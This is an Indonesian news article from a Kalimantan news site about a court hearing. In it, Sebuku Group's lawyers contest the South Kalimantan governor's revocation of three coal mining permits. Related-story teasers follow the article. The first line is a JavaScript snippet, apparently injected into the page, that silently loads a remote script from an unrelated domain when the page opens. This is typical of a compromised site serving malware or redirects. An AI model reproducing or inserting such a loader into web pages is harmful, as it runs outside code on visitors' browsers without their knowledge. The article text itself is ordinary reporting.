(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Tanpa didampingi Prof DR Yusril Ihza Mahendra, tim kuasa hukum Sebuku Group (Silo Group) tetap mempertanyakan dasar hukum pencabutan izin usaha pertambangan operasi produksi (IUP-OP) PT Sebuku Batubai Coal, PT Sebuku Sejaka Coal, dan PT Sebuku Tanjung Coal dalam sidang pembacaan replik dari pihak penggugat kepada tergugat, Gubernur Kalsel H Sahbirin Noor di PTUN Banjarmasin, Kamis (5/4).
Kantor Ihza&Ihza Law Firm yang menjadi kuasa hukum Sebuku Group mempertanyakan dasar penerbitan tiga surat keputusan Gubernur Kalsel bernomor 503/119/DPMPTSP/2018, tertanggal 26 Januari 2018, SK Nomor 503/120/DPMPTSP/2018 tertanggal 26 Januari 2018, serta SK Nomor 503/121/DPMPTSP/2018 tertanggal 26 Januari 2018.
Dalam repliknya, kuasa hukum Sebuku Group pun mengatakan alasan pencabutan pun terlalu mengada-ada, karena seluruh kewajiban yang disyaratkan dalam peraturan perundang-undangan telah dipenuhi kliennya. Bahkan, dalam surat jawaban kuasa hukum Gubernur Kalsel Andi M Nasrun bersama dua jaksa pengacara negara (JPN) Kejati Kalsel pun dijawab pihak penggugat, justru tidak masuk dalam konsideran tiga SK Gubernur Kalsel.
“Kami juga selalu melapor ke Dinas Lingkungan Hidup (DLH) Kalsel, selama enam bulan sekali. Jangan hanya gara-gara dianggap tak beroperasi, kemudian IUP-OP itu dicabut,†ucap Yusuf Pramono. Dia juga menyebut adanya dua surat penting tak jadi pertimbangan atau konsideran dalam pengambilan keputusan mencabut surat yang dikeluarkan Bupati Kotabaru Sjachrani Mataja atas IUP-OP Sebuku Group.
Sementara itu, ketua majelis hakim Dafrian didamping dua hakim anggota, Rory Yonaldi dan Lizamul Umum yang mengadili perkara gugatan PT Sebuku Batubai Coal versus Gubernur Kalsel, langsung memutuskan pada sidang Kamis (12/4), pihak tergugat bisa langsung mengajukan duplik sekaligus pemeriksaan alat bukti yang menjadi objek sengketa.
Yusuf Pramono pun menegaskan bahwa kliennya telah mengantongi sertifikat clean dan clear (CnC) dan memenuhi Peraturan Menteri ESDM Nomor 43 Tahun 2015 tentang Tata Cara Evaluasi Penerbitan Izin Usaha Pertambangan Mineral dan Batubara. “Jadi proses mendapatkan sertifikat CnC itu melalui proses evaluasi, bukan hanya check list. Lima syarat CnC telah dipenuhi bak administratif, teknis, finansial, kewilayahan hingga lingkungan. Selama ini, klien kami juga tak pernah diperingati, hanya alasan tak beroperasi lalu dijadikan dasar untuk mencabut IUP-OP. Padahal, klien kami sudah melakukan persiapan untuk melakukan operasi pertambangan,†paparnya.
Dalam persidangan pembukti alat bukti, Yusuf pun memastikan akan membawa seluruh dokumen yang ada, sebagai bahan pertimbangan bagi majelis hakim dalam memutuskan gugatan untuk membatalkan tiga SK Gubernur Kalsel. (ammar)
KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More
KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More
KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More
This website uses cookies.